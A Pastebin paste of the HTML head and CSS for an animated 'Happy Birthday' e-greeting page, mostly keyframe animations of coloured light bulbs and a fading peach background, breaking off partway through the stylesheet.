API tools faq
paste
Advertisement
Lolz666

HBD

Lolz666
Apr 25th, 2018
124
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.43 KB | None | 0 0
raw download clone embed print report
  1.  
  2. <!DOCTYPE html>
  3. <!--[if lt IE 7]> <html class="ie lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
  4. <!--[if IE 7]> <html class="ie lt-ie9 lt-ie8"> <![endif]-->
  5. <!--[if IE 8]> <html class="ie lt-ie9"> <![endif]-->
  6. <!--[if gt IE 8]> <html> <![endif]-->
  7. <!--[if !IE]><!--><html lang="en"><!-- <![endif]-->
  8. <head>
  9. <title>Happy Birthday</title>
  10. <meta charset="UTF-8" />
  11. <meta name="description" content="Happy Birthday">
  12. <meta name="robots" content="index, follow" />
  13. <link rel="author" href="https://www.fb.com/AingSad" />
  14. <meta name="keywords" content="Birthday, Happy">
  15. <!-- Strat of Facebook Meta -->
  16. <meta property="og:type" content="E-Greeting" />
  17. <meta property="og:image" content="https://image.ibb.co/iWjcBx/cake128.png" />
  18. <meta property="og:description" content="Wish you a very Happy Birthday">
  19. <!-- End of Facebook Meta Tags -->
  20. <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0">
  21. <meta name="apple-mobile-web-app-capable" content="yes">
  22. <meta name="apple-mobile-web-app-status-bar-style" content="black">
  23. <meta http-equiv="X-UA-Compatible" content="IE=9; IE=8; IE=7; IE=EDGE" />
  24. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
  25. <link href='http://fonts.googleapis.com/css?family=Signika' rel='stylesheet' type='text/css'>
  26. <!-- <link href='http://fonts.googleapis.com/css?family=Nunito' rel='stylesheet' type='text/css'> -->
  27. <link rel="stylesheet/less" href="http://ayusharma.in/birthday/cake.less">
  28. <script src="//cdnjs.cloudflare.com/ajax/libs/less.js/2.1.0/less.min.js"></script>
  29. <style type="text/css">
  30. body {
  31. /*background-color: #FFDAB9; */
  32. background-color: #000;
  33. -webkit-transition:background-color linear 5s;
  34. -moz-transition:background-color linear 5s;
  35. -o-transition:background-color linear 5s;
  36. -ms-transition:background-color linear 5s;
  37. transition:background-color linear 5s;
  38. overflow-x:hidden;
  39. }
  40. .container {
  41. display: none;
  42. }
  43. .peach {
  44. background-color: #FFDAB9;
  45.  
  46. }
  47. .peach-after {
  48. -webkit-animation:peach_alive linear 8s infinite;
  49. -moz-animation:peach_alive linear 8s infinite;
  50. -o-animation:peach_alive linear 8s infinite;
  51. -ms-animation:peach_alive linear 8s infinite;
  52. animation:peach_alive linear 8s infinite;
  53. }
  54.  
  55. @-webkit-keyframes peach_alive {
  56. 0%{
  57. background-color: #FFDAB9;
  58. }
  59. 25%{
  60. background-color: #FFE4B5;
  61. }
  62. 50%{
  63. background-color: #FFDAB9;
  64. }
  65. 75%{
  66. background-color: #FFEFD5;
  67. }
  68. 100%{
  69. background-color: #FFDAB9;
  70. }
  71. }
  72. @-moz-keyframes peach_alive {
  73. 0%{
  74. background-color: #FFDAB9;
  75. }
  76. 25%{
  77. background-color: #FFE4B5;
  78. }
  79. 50%{
  80. background-color: #FFDAB9;
  81. }
  82. 75%{
  83. background-color: #FFEFD5;
  84. }
  85. 100%{
  86. background-color: #FFDAB9;
  87. }
  88. }
  89.  
  90. @-o-keyframes peach_alive {
  91. 0%{
  92. background-color: #FFDAB9;
  93. }
  94. 25%{
  95. background-color: #FFE4B5;
  96. }
  97. 50%{
  98. background-color: #FFDAB9;
  99. }
  100. 75%{
  101. background-color: #FFEFD5;
  102. }
  103. 100%{
  104. background-color: #FFDAB9;
  105. }
  106. }
  107.  
  108. @-ms-keyframes peach_alive {
  109. 0%{
  110. background-color: #FFDAB9;
  111. }
  112. 25%{
  113. background-color: #FFE4B5;
  114. }
  115. 50%{
  116. background-color: #FFDAB9;
  117. }
  118. 75%{
  119. background-color: #FFEFD5;
  120. }
  121. 100%{
  122. background-color: #FFDAB9;
  123. }
  124. }
  125.  
  126. @keyframes peach_alive {
  127. 0%{
  128. background-color: #FFDAB9;
  129. }
  130. 25%{
  131. background-color: #FFE4B5;
  132. }
  133. 50%{
  134. background-color: #FFDAB9;
  135. }
  136. 75%{
  137. background-color: #FFEFD5;
  138. }
  139. 100%{
  140. background-color: #FFDAB9;
  141. }
  142. }
  143.  
  144.  
  145. .bulb {
  146. width: 50px;
  147. height: 50px;
  148. margin: auto;
  149. background-repeat: no-repeat no-repeat;
  150. background-position:center 0px;
  151. background-size: 50px 50px;
  152. }
  153.  
  154. .bulb-holder {
  155. height: 70px;
  156. }
  157.  
  158. .bulb-glow-yellow {
  159. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  160. -webkit-animation: bulb_glow_yellow linear 5s;
  161. -moz-animation: bulb_glow_yellow linear 5s;
  162. -o-animation: bulb_glow_yellow linear 5s;
  163. -ms-animation: bulb_glow_yellow linear 5s;
  164. animation: bulb_glow_yellow linear 5s;
  165. }
  166.  
  167. @-webkit-keyframes bulb_glow_yellow {
  168. 0%{
  169. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  170. opacity: 0;
  171. }
  172. 50%{
  173. opacity: 1;
  174. }
  175. 100%{
  176. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  177. opacity: 1;
  178. }
  179. }
  180. @-moz-keyframes bulb_glow_yellow {
  181. 0%{
  182. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  183. opacity: 0;
  184. }
  185. 50%{
  186. opacity: 1;
  187. }
  188. 100%{
  189. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  190. opacity: 1;
  191. }
  192. }
  193. @-o-keyframes bulb_glow_yellow {
  194. 0%{
  195. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  196. opacity: 0;
  197. }
  198. 50%{
  199. opacity: 1;
  200. }
  201. 100%{
  202. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  203. opacity: 1;
  204. }
  205. }
  206. @-ms-keyframes bulb_glow_yellow {
  207. 0%{
  208. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  209. opacity: 0;
  210. }
  211. 50%{
  212. opacity: 1;
  213. }
  214. 100%{
  215. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  216. opacity: 1;
  217. }
  218. }
  219. @keyframes bulb_glow_yellow {
  220. 0%{
  221. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  222. opacity: 0;
  223. }
  224. 50%{
  225. opacity: 1;
  226. }
  227. 100%{
  228. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  229. opacity: 1;
  230. }
  231. }
  232.  
  233. .bulb-glow-red {
  234. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  235. -webkit-animation: bulb_glow_red linear 5s;
  236. -moz-animation: bulb_glow_red linear 5s;
  237. -o-animation: bulb_glow_red linear 5s;
  238. -ms-animation: bulb_glow_red linear 5s;
  239. animation: bulb_glow_red linear 5s;
  240. }
  241.  
  242. @-webkit-keyframes bulb_glow_red {
  243. 0%{
  244. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  245. opacity: 0;
  246. }
  247. 50%{
  248. opacity: 1;
  249. }
  250. 100%{
  251. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  252. opacity: 1;
  253. }
  254. }
  255. @-moz-keyframes bulb_glow_red {
  256. 0%{
  257. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  258. opacity: 0;
  259. }
  260. 50%{
  261. opacity: 1;
  262. }
  263. 100%{
  264. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  265. opacity: 1;
  266. }
  267. }
  268. @-o-keyframes bulb_glow_red {
  269. 0%{
  270. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  271. opacity: 0;
  272. }
  273. 50%{
  274. opacity: 1;
  275. }
  276. 100%{
  277. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  278. opacity: 1;
  279. }
  280. }
  281. @-ms-keyframes bulb_glow_red {
  282. 0%{
  283. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  284. opacity: 0;
  285. }
  286. 50%{
  287. opacity: 1;
  288. }
  289. 100%{
  290. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  291. opacity: 1;
  292. }
  293. }
  294. @keyframes bulb_glow_red {
  295. 0%{
  296. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  297. opacity: 0;
  298. }
  299. 50%{
  300. opacity: 1;
  301. }
  302. 100%{
  303. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  304. opacity: 1;
  305. }
  306. }
  307. .bulb-glow-blue {
  308. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  309. -webkit-animation: bulb_glow_blue linear 5s;
  310. -moz-animation: bulb_glow_blue linear 5s;
  311. -o-animation: bulb_glow_blue linear 5s;
  312. -ms-animation: bulb_glow_blue linear 5s;
  313. animation: bulb_glow_blue linear 5s;
  314. }
  315.  
  316. @-webkit-keyframes bulb_glow_blue {
  317. 0%{
  318. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  319. opacity: 0;
  320. }
  321. 50%{
  322. opacity: 1;
  323. }
  324. 100%{
  325. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  326. opacity: 1;
  327. }
  328. }
  329. @-moz-keyframes bulb_glow_blue {
  330. 0%{
  331. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  332. opacity: 0;
  333. }
  334. 50%{
  335. opacity: 1;
  336. }
  337. 100%{
  338. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  339. opacity: 1;
  340. }
  341. }
  342. @-o-keyframes bulb_glow_blue {
  343. 0%{
  344. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  345. opacity: 0;
  346. }
  347. 50%{
  348. opacity: 1;
  349. }
  350. 100%{
  351. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  352. opacity: 1;
  353. }
  354. }
  355. @-ms-keyframes bulb_glow_blue {
  356. 0%{
  357. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  358. opacity: 0;
  359. }
  360. 50%{
  361. opacity: 1;
  362. }
  363. 100%{
  364. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  365. opacity: 1;
  366. }
  367. }
  368. @keyframes bulb_glow_blue {
  369. 0%{
  370. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  371. opacity: 0;
  372. }
  373. 50%{
  374. opacity: 1;
  375. }
  376. 100%{
  377. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  378. opacity: 1;
  379. }
  380. }
  381.  
  382. .bulb-glow-green {
  383. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  384. -webkit-animation: bulb_glow_green linear 5s;
  385. -moz-animation: bulb_glow_green linear 5s;
  386. -o-animation: bulb_glow_green linear 5s;
  387. -ms-animation: bulb_glow_green linear 5s;
  388. animation: bulb_glow_green linear 5s;
  389. }
  390.  
  391. @-webkit-keyframes bulb_glow_green {
  392. 0%{
  393. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  394. opacity: 0;
  395. }
  396. 50%{
  397. opacity: 1;
  398. }
  399. 100%{
  400. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  401. opacity: 1;
  402. }
  403. }
  404. @-moz-keyframes bulb_glow_green {
  405. 0%{
  406. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  407. opacity: 0;
  408. }
  409. 50%{
  410. opacity: 1;
  411. }
  412. 100%{
  413. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  414. opacity: 1;
  415. }
  416. }
  417. @-o-keyframes bulb_glow_green {
  418. 0%{
  419. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  420. opacity: 0;
  421. }
  422. 50%{
  423. opacity: 1;
  424. }
  425. 100%{
  426. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  427. opacity: 1;
  428. }
  429. }
  430. @-ms-keyframes bulb_glow_green {
  431. 0%{
  432. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  433. opacity: 0;
  434. }
  435. 50%{
  436. opacity: 1;
  437. }
  438. 100%{
  439. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  440. opacity: 1;
  441. }
  442. }
  443. @keyframes bulb_glow_green {
  444. 0%{
  445. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  446. opacity: 0;
  447. }
  448. 50%{
  449. opacity: 1;
  450. }
  451. 100%{
  452. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  453. opacity: 1;
  454. }
  455. }
  456.  
  457. .bulb-glow-pink {
  458. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  459. -webkit-animation: bulb_glow_pink linear 5s;
  460. -moz-animation: bulb_glow_pink linear 5s;
  461. -o-animation: bulb_glow_pink linear 5s;
  462. -ms-animation: bulb_glow_pink linear 5s;
  463. animation: bulb_glow_pink linear 5s;
  464. }
  465.  
  466. @-webkit-keyframes bulb_glow_pink {
  467. 0%{
  468. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  469. opacity: 0;
  470. }
  471. 50%{
  472. opacity: 1;
  473. }
  474. 100%{
  475. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  476. opacity: 1;
  477. }
  478. }
  479. @-moz-keyframes bulb_glow_pink {
  480. 0%{
  481. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  482. opacity: 0;
  483. }
  484. 50%{
  485. opacity: 1;
  486. }
  487. 100%{
  488. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  489. opacity: 1;
  490. }
  491. }
  492. @-o-keyframes bulb_glow_pink {
  493. 0%{
  494. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  495. opacity: 0;
  496. }
  497. 50%{
  498. opacity: 1;
  499. }
  500. 100%{
  501. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  502. opacity: 1;
  503. }
  504. }
  505. @-ms-keyframes bulb_glow_pink {
  506. 0%{
  507. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  508. opacity: 0;
  509. }
  510. 50%{
  511. opacity: 1;
  512. }
  513. 100%{
  514. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  515. opacity: 1;
  516. }
  517. }
  518. @keyframes bulb_glow_pink {
  519. 0%{
  520. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  521. opacity: 0;
  522. }
  523. 50%{
  524. opacity: 1;
  525. }
  526. 100%{
  527. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  528. opacity: 1;
  529. }
  530. }
  531.  
  532. .bulb-glow-orange {
  533. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  534. -webkit-animation: bulb_glow_orange linear 5s;
  535. -moz-animation: bulb_glow_orange linear 5s;
  536. -o-animation: bulb_glow_orange linear 5s;
  537. -ms-animation: bulb_glow_orange linear 5s;
  538. animation: bulb_glow_orange linear 5s;
  539. }
  540.  
  541. @-webkit-keyframes bulb_glow_orange {
  542. 0%{
  543. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  544. opacity: 0;
  545. }
  546. 50%{
  547. opacity: 1;
  548. }
  549. 100%{
  550. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  551. opacity: 1;
  552. }
  553. }
  554. @-moz-keyframes bulb_glow_orange {
  555. 0%{
  556. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  557. opacity: 0;
  558. }
  559. 50%{
  560. opacity: 1;
  561. }
  562. 100%{
  563. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  564. opacity: 1;
  565. }
  566. }
  567. @-o-keyframes bulb_glow_orange {
  568. 0%{
  569. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  570. opacity: 0;
  571. }
  572. 50%{
  573. opacity: 1;
  574. }
  575. 100%{
  576. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  577. opacity: 1;
  578. }
  579. }
  580. @-ms-keyframes bulb_glow_orange {
  581. 0%{
  582. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  583. opacity: 0;
  584. }
  585. 50%{
  586. opacity: 1;
  587. }
  588. 100%{
  589. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  590. opacity: 1;
  591. }
  592. }
  593. @keyframes bulb_glow_orange {
  594. 0%{
  595. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  596. opacity: 0;
  597. }
  598. 50%{
  599. opacity: 1;
  600. }
  601. 100%{
  602. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  603. opacity: 1;
  604. }
  605. }
  606.  
  607.  
  608. /*after music*/
  609. .bulb-glow-yellow-after {
  610. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  611. -webkit-animation: bulb_glow_yellow_after linear 1s infinite;
  612. -moz-animation: bulb_glow_yellow_after linear 1s infinite;
  613. -o-animation: bulb_glow_yellow_after linear 1s infinite;
  614. -ms-animation: bulb_glow_yellow_after linear 1s infinite;
  615. animation: bulb_glow_yellow_after linear 1s infinite;
  616. }
  617.  
  618. @-webkit-keyframes bulb_glow_yellow_after {
  619. 0%{
  620. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  621. }
  622. 50%{
  623. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  624. }
  625. 100%{
  626. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  627. }
  628. }
  629. @-moz-keyframes bulb_glow_yellow_after {
  630. 0%{
  631. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  632. }
  633. 50%{
  634. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  635. }
  636. 100%{
  637. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  638. }
  639. }
  640. @-o-keyframes bulb_glow_yellow_after {
  641. 0%{
  642. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  643. }
  644. 50%{
  645. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  646. }
  647. 100%{
  648. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  649. }
  650. }
  651. @-ms-keyframes bulb_glow_yellow_after {
  652. 0%{
  653. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  654. }
  655. 50%{
  656. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  657. }
  658. 100%{
  659. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  660. }
  661. }
  662. @keyframes bulb_glow_yellow_after {
  663. 0%{
  664. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  665. }
  666. 50%{
  667. background-image: url('https://image.ibb.co/hxNm4H/bulb_yellow.png');
  668. }
  669. 100%{
  670. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  671. }
  672. }
  673.  
  674. .bulb-glow-red-after {
  675. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  676. -webkit-animation: bulb_glow_red_after linear 1.2s infinite;
  677. -moz-animation: bulb_glow_red_after linear 1.2s infinite;
  678. -o-animation: bulb_glow_red_after linear 1.2s infinite;
  679. -ms-animation: bulb_glow_red_after linear 1.2s infinite;
  680. animation: bulb_glow_red_after linear 1.2s infinite;
  681. }
  682.  
  683. @-webkit-keyframes bulb_glow_red_after {
  684. 0%{
  685. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  686. }
  687. 50%{
  688. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  689. }
  690. 100%{
  691. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  692. }
  693. }
  694. @-moz-keyframes bulb_glow_red_after {
  695. 0%{
  696. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  697. }
  698. 50%{
  699. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  700. }
  701. 100%{
  702. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  703. }
  704. }
  705. @-o-keyframes bulb_glow_red_after {
  706. 0%{
  707. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  708. }
  709. 50%{
  710. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  711. }
  712. 100%{
  713. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  714. }
  715. }
  716. @-ms-keyframes bulb_glow_red_after {
  717. 0%{
  718. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  719. }
  720. 50%{
  721. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  722. }
  723. 100%{
  724. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  725. }
  726. }
  727. @keyframes bulb_glow_red_after {
  728. 0%{
  729. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  730. }
  731. 50%{
  732. background-image: url('https://image.ibb.co/kP9AWx/bulb_red.png');
  733. }
  734. 100%{
  735. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  736. }
  737. }
  738.  
  739. .bulb-glow-blue-after {
  740. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  741. -webkit-animation: bulb_glow_blue_after linear 1.4s infinite;
  742. -moz-animation: bulb_glow_blue_after linear 1.4s infinite;
  743. -o-animation: bulb_glow_blue_after linear 1.4s infinite;
  744. -ms-animation: bulb_glow_blue_after linear 1.4s infinite;
  745. animation: bulb_glow_blue_after linear 1.4s infinite;
  746. }
  747.  
  748. @-webkit-keyframes bulb_glow_blue_after {
  749. 0%{
  750. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  751. }
  752. 50%{
  753. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  754. }
  755. 100%{
  756. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  757. }
  758. }
  759. @-moz-keyframes bulb_glow_blue_after {
  760. 0%{
  761. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  762. }
  763. 50%{
  764. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  765. }
  766. 100%{
  767. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  768. }
  769. }
  770. @-o-keyframes bulb_glow_blue_after {
  771. 0%{
  772. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  773. }
  774. 50%{
  775. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  776. }
  777. 100%{
  778. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  779. }
  780. }
  781. @-ms-keyframes bulb_glow_blue_after {
  782. 0%{
  783. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  784. }
  785. 50%{
  786. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  787. }
  788. 100%{
  789. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  790. }
  791. }
  792. @keyframes bulb_glow_blue_after {
  793. 0%{
  794. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  795. }
  796. 50%{
  797. background-image: url('https://image.ibb.co/cn1Prx/bulb_blue.png');
  798. }
  799. 100%{
  800. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  801. }
  802. }
  803. .bulb-glow-green-after {
  804. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  805. -webkit-animation: bulb_glow_green_after linear 1.8s infinite;
  806. -moz-animation: bulb_glow_green_after linear 1.8s infinite;
  807. -o-animation: bulb_glow_green_after linear 1.8s infinite;
  808. -ms-animation: bulb_glow_green_after linear 1.8s infinite;
  809. animation: bulb_glow_green_after linear 1.8s infinite;
  810. }
  811.  
  812. @-webkit-keyframes bulb_glow_green_after {
  813. 0%{
  814. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  815. }
  816. 50%{
  817. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  818. }
  819. 100%{
  820. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  821. }
  822. }
  823.  
  824. @-moz-keyframes bulb_glow_green_after {
  825. 0%{
  826. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  827. }
  828. 50%{
  829. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  830. }
  831. 100%{
  832. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  833. }
  834. }
  835. @-o-keyframes bulb_glow_green_after {
  836. 0%{
  837. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  838. }
  839. 50%{
  840. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  841. }
  842. 100%{
  843. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  844. }
  845. }
  846. @-ms-keyframes bulb_glow_green_after {
  847. 0%{
  848. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  849. }
  850. 50%{
  851. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  852. }
  853. 100%{
  854. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  855. }
  856. }
  857. @keyframes bulb_glow_green_after {
  858. 0%{
  859. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  860. }
  861. 50%{
  862. background-image: url('https://image.ibb.co/dT6DjH/bulb_green.png');
  863. }
  864. 100%{
  865. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  866. }
  867. }
  868. .bulb-glow-pink-after {
  869. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  870. -webkit-animation: bulb_glow_pink_after linear 2s infinite;
  871. -moz-animation: bulb_glow_pink_after linear 2s infinite;
  872. -o-animation: bulb_glow_pink_after linear 2s infinite;
  873. -ms-animation: bulb_glow_pink_after linear 2s infinite;
  874. animation: bulb_glow_pink_after linear 2s infinite;
  875. }
  876.  
  877. @-webkit-keyframes bulb_glow_pink_after {
  878. 0%{
  879. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  880. }
  881. 50%{
  882. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  883. }
  884. 100%{
  885. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  886. }
  887. }
  888. @-moz-keyframes bulb_glow_pink_after {
  889. 0%{
  890. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  891. }
  892. 50%{
  893. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  894. }
  895. 100%{
  896. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  897. }
  898. }
  899. @-o-keyframes bulb_glow_pink_after {
  900. 0%{
  901. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  902. }
  903. 50%{
  904. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  905. }
  906. 100%{
  907. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  908. }
  909. }
  910. @-ms-keyframes bulb_glow_pink_after {
  911. 0%{
  912. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  913. }
  914. 50%{
  915. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  916. }
  917. 100%{
  918. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  919. }
  920. }
  921. @keyframes bulb_glow_pink_after {
  922. 0%{
  923. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  924. }
  925. 50%{
  926. background-image: url('https://image.ibb.co/mGmPrx/bulb_pink.png');
  927. }
  928. 100%{
  929. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  930. }
  931. }
  932. .bulb-glow-orange-after {
  933. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  934. -webkit-animation: bulb_glow_orange_after linear 2.2s infinite;
  935. -moz-animation: bulb_glow_orange_after linear 2.2s infinite;
  936. -o-animation: bulb_glow_orange_after linear 2.2s infinite;
  937. -ms-animation: bulb_glow_orange_after linear 2.2s infinite;
  938. animation: bulb_glow_orange_after linear 2.2s infinite;
  939. }
  940.  
  941. @-webkit-keyframes bulb_glow_orange_after {
  942. 0%{
  943. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  944. }
  945. 50%{
  946. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  947. }
  948. 100%{
  949. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  950. }
  951. }
  952. @-moz-keyframes bulb_glow_orange_after {
  953. 0%{
  954. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  955. }
  956. 50%{
  957. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  958. }
  959. 100%{
  960. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  961. }
  962. }
  963. @-o-keyframes bulb_glow_orange_after {
  964. 0%{
  965. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  966. }
  967. 50%{
  968. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  969. }
  970. 100%{
  971. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  972. }
  973. }
  974. @-ms-keyframes bulb_glow_orange_after {
  975. 0%{
  976. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  977. }
  978. 50%{
  979. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  980. }
  981. 100%{
  982. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  983. }
  984. }
  985. @keyframes bulb_glow_orange_after {
  986. 0%{
  987. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  988. }
  989. 50%{
  990. background-image: url('https://image.ibb.co/f31ePH/bulb_orange.png');
  991. }
  992. 100%{
  993. background-image: url('https://image.ibb.co/d2nVWx/bulb.png');
  994. }
  995. }
  996. audio {
  997. display: none;
  998. }
  999.  
  1000. .bannar {
